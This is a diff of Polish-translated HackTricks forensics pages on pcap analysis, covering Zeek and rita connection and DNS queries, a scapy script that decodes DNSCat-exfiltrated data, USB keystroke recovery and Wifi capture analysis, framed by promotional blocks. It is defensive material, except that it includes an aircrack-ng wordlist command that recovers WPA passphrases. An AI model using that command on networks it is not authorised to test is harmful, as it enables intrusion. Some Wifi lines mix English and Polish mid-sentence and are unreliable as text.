* Opcjonalnie zapisuje pasujące pliki do katalogu.
|
||||
|
||||
### Analiza złośliwego oprogramowania
|
||||
|
||||
Sprawdź, czy możesz znaleźć jakikolwiek odcisk palca znanego złośliwego oprogramowania:
|
||||
Sprawdź, czy możesz znaleźć jakiekolwiek odciski palców znanego złośliwego oprogramowania:
|
||||
|
||||
{% content-ref url="../malware-analysis.md" %}
|
||||
[malware-analysis.md](../malware-analysis.md)
|
||||
|
@ -153,9 +154,11 @@ Sprawdź, czy możesz znaleźć jakikolwiek odcisk palca znanego złośliwego op
|
|||
|
||||
## Zeek
|
||||
|
||||
> [Zeek](https://docs.zeek.org/en/master/about.html) to pasywny, otwarty analizator ruchu sieciowego. Wielu operatorów używa Zeeka jako Monitora Bezpieczeństwa Sieciowego (NSM) do wsparcia dochodzeń w przypadku podejrzanej lub złośliwej aktywności. Zeek obsługuje również szeroki zakres zadań analizy ruchu poza dziedziną bezpieczeństwa, w tym pomiar wydajności i rozwiązywanie problemów.
|
||||
> [Zeek](https://docs.zeek.org/en/master/about.html) to pasywny, otwartoźródłowy analizator ruchu sieciowego. Wielu operatorów używa Zeeka jako Monitor Bezpieczeństwa Sieci (NSM) do wspierania dochodzeń w sprawie podejrzanej lub złośliwej aktywności. Zeek wspiera również szeroki zakres zadań analizy ruchu poza domeną bezpieczeństwa, w tym pomiar wydajności i rozwiązywanie problemów.
|
||||
|
||||
W zasadzie, dzienniki utworzone przez `zeek` nie są **pcapami**. Dlatego będziesz musiał użyć **innych narzędzi** do analizy dzienników, gdzie znajdują się **informacje** o pcapach.
|
||||
Zasadniczo, logi tworzone przez `zeek` nie są **pcapami**. Dlatego będziesz musiał użyć **innych narzędzi**, aby analizować logi, w których znajdują się **informacje** o pcapach.
|
||||
|
||||
### Informacje o połączeniach
|
||||
```bash
|
||||
#Get info about longest connections (add "grep udp" to see only udp traffic)
|
||||
#The longest connection might be of malware (constant reverse shell?)
|
||||
|
@ -205,7 +208,7 @@ Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top
|
|||
1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0
|
||||
0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0
|
||||
```
|
||||
### Informacje DNS
|
||||
### Informacje o DNS
|
||||
```bash
|
||||
#Get info about each DNS request performed
|
||||
cat dns.log | zeek-cut -c id.orig_h query qtype_name answers
|
||||
|
@ -222,7 +225,7 @@ cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr
|
|||
#See top DNS domain requested with rita
|
||||
rita show-exploded-dns -H --limit 10 zeek_logs
|
||||
```
|
||||
## Inne sztuczki analizy plików pcap
|
||||
## Inne sztuczki analizy pcap
|
||||
|
||||
{% content-ref url="dnscat-exfiltration.md" %}
|
||||
[dnscat-exfiltration.md](dnscat-exfiltration.md)
|
||||
|
@ -240,20 +243,21 @@ rita show-exploded-dns -H --limit 10 zeek_logs
|
|||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) to najważniejsze wydarzenie z zakresu cyberbezpieczeństwa w **Hiszpanii** i jedno z najważniejszych w **Europie**. Mając **misję promowania wiedzy technicznej**, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.
|
||||
[**RootedCON**](https://www.rootedcon.com/) to najważniejsze wydarzenie związane z cyberbezpieczeństwem w **Hiszpanii** i jedno z najważniejszych w **Europie**. Z **misją promowania wiedzy technicznej**, ten kongres jest gorącym punktem spotkań dla profesjonalistów z dziedziny technologii i cyberbezpieczeństwa w każdej dyscyplinie.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,36 +1,37 @@
|
|||
# Analiza pakietów DNSCat
|
||||
# Analiza pcap DNSCat
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i zostań ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to wyszukiwarka zasilana przez **dark web**, która oferuje **darmowe** funkcjonalności do sprawdzania, czy firma lub jej klienci zostali **skompromitowani** przez **złośliwe oprogramowanie kradnące informacje**.
|
||||
[**WhiteIntel**](https://whiteintel.io) to **wyszukiwarka** zasilana **dark-web**, która oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z oprogramowania kradnącego informacje.
|
||||
Głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz odwiedzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
Możesz sprawdzić ich stronę i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
Jeśli masz plik pcap z danymi **eksfiltrującymi się za pomocą DNSCat** (bez użycia szyfrowania), możesz znaleźć eksfiltrowane treści.
|
||||
Jeśli masz pcap z danymi **wykradanymi przez DNSCat** (bez użycia szyfrowania), możesz znaleźć wykradnięte treści.
|
||||
|
||||
Wystarczy wiedzieć, że **pierwsze 9 bajtów** nie są prawdziwymi danymi, ale są związane z **komunikacją C\&C**:
|
||||
Musisz tylko wiedzieć, że **pierwsze 9 bajtów** nie są rzeczywistymi danymi, ale są związane z **komunikacją C\&C**:
|
||||
```python
|
||||
from scapy.all import rdpcap, DNSQR, DNSRR
|
||||
import struct
|
||||
|
@ -49,23 +50,24 @@ last = qry
|
|||
|
||||
#print(f)
|
||||
```
|
||||
Dla więcej informacji: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\
|
||||
Aby uzyskać więcej informacji: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\
|
||||
[https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md](https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md)
|
||||
|
||||
Istnieje skrypt działający z Pythonem 3: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder)
|
||||
Istnieje skrypt, który działa z Python3: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder)
|
||||
```
|
||||
python3 dnscat_decoder.py sample.pcap bad_domain
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,43 +1,45 @@
|
|||
# Klawisze USB
|
||||
# USB Keystrokes
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Jeśli masz plik pcap zawierający komunikację za pośrednictwem USB klawiatury, podobny do poniższego:
|
||||
Jeśli masz pcap zawierający komunikację przez USB klawiatury, taką jak ta poniżej:
|
||||
|
||||
![](<../../../.gitbook/assets/image (962).png>)
|
||||
|
||||
Możesz użyć narzędzia [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser), aby uzyskać informacje o tym, co zostało napisane w komunikacji:
|
||||
Możesz użyć narzędzia [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser), aby uzyskać to, co zostało napisane w komunikacji:
|
||||
```bash
|
||||
tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt
|
||||
python3 usbkeyboard.py ./keystrokes.txt
|
||||
```
|
||||
Możesz przeczytać więcej informacji i znaleźć kilka skryptów dotyczących analizy tego pod adresem:
|
||||
Możesz przeczytać więcej informacji i znaleźć kilka skryptów dotyczących analizy tego w:
|
||||
|
||||
* [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
|
||||
* [https://github.com/tanc7/HacktheBox\_Deadly\_Arthropod\_Writeup](https://github.com/tanc7/HacktheBox\_Deadly\_Arthropod\_Writeup)
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,63 +1,67 @@
|
|||
# Analiza Pcap Wifi
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Sprawdź BSSID
|
||||
|
||||
Gdy otrzymasz przechwycenie, którego głównym ruchem jest Wifi, używając WireShark, możesz zacząć badanie wszystkich SSID przechwycenia za pomocą _Wireless --> WLAN Traffic_:
|
||||
Gdy otrzymasz zrzut, którego głównym ruchem jest Wifi, używając WireShark, możesz zacząć badać wszystkie SSID zrzutu za pomocą _Wireless --> WLAN Traffic_:
|
||||
|
||||
![](<../../../.gitbook/assets/image (106).png>)
|
||||
|
||||
![](<../../../.gitbook/assets/image (492).png>)
|
||||
|
||||
### Atak Brute Force
|
||||
### Brute Force
|
||||
|
||||
Jedna z kolumn na tym ekranie wskazuje, czy **znaleziono jakąkolwiek autoryzację w pcap**. Jeśli tak jest, możesz spróbować jej złamać, używając `aircrack-ng`:
|
||||
Jedna z kolumn na tym ekranie wskazuje, czy **znaleziono jakąkolwiek autoryzację w pcap**. Jeśli tak, możesz spróbować przeprowadzić atak Brute force, używając `aircrack-ng`:
|
||||
```bash
|
||||
aircrack-ng -w pwds-file.txt -b <BSSID> file.pcap
|
||||
```
|
||||
## Dane w ramach / Kanał boczny
|
||||
For example it will retrieve the WPA passphrase protecting a PSK (pre shared-key), that will be required to decrypt the trafic later.
|
||||
|
||||
Jeśli podejrzewasz, że **dane wyciekają w ramach ramek ogłoszeniowych sieci Wifi**, możesz sprawdzić ramki sieciowe, używając filtru takiego jak: `wlan contains <NAZWA_SIECI>`, lub `wlan.ssid == "NAZWA_SIECI"` i przeszukać przefiltrowane pakiety w poszukiwaniu podejrzanych ciągów znaków.
|
||||
## Data in Beacons / Side Channel
|
||||
|
||||
## Znajdź nieznane adresy MAC w sieci Wifi
|
||||
If you suspect that **dane są wyciekane wewnątrz beaconów sieci Wifi** you can check the beacons of the network using a filter like the following one: `wlan contains <NAMEofNETWORK>`, or `wlan.ssid == "NAMEofNETWORK"` search inside the filtered packets for suspicious strings.
|
||||
|
||||
Następujący link będzie przydatny do znalezienia **urządzeń wysyłających dane w sieci Wifi**:
|
||||
## Find Unknown MAC Addresses in A Wifi Network
|
||||
|
||||
The following link will be useful to find the **maszyny wysyłające dane wewnątrz sieci Wifi**:
|
||||
|
||||
* `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2`
|
||||
|
||||
Jeśli już znasz **adresy MAC**, możesz je usunąć z wyników, dodając sprawdzenia takie jak to: `&& !(wlan.addr==5c:51:88:31:a0:3b)`
|
||||
If you already know **adresy MAC możesz je usunąć z wyników** adding checks like this one: `&& !(wlan.addr==5c:51:88:31:a0:3b)`
|
||||
|
||||
Po wykryciu **nieznanych adresów MAC** komunikujących się w sieci, możesz użyć **filtrów** takich jak ten: `wlan.addr==<adres_MAC> && (ftp || http || ssh || telnet)` aby przefiltrować jego ruch. Zauważ, że filtry ftp/http/ssh/telnet są przydatne, jeśli zdekodowałeś ruch.
|
||||
Once you have detected **nieznane adresy MAC** communicating inside the network you can use **filtry** like the following one: `wlan.addr==<MAC address> && (ftp || http || ssh || telnet)` to filter its traffic. Note that ftp/http/ssh/telnet filters are useful if you have decrypted the traffic.
|
||||
|
||||
## Deszyfrowanie ruchu
|
||||
## Decrypt Traffic
|
||||
|
||||
Edytuj --> Preferencje --> Protokoły --> IEEE 802.11--> Edytuj
|
||||
Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit
|
||||
|
||||
![](<../../../.gitbook/assets/image (499).png>)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,26 +1,27 @@
|
|||
# Sztuczki z Wireshark
|
||||
# Wireshark tricks
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
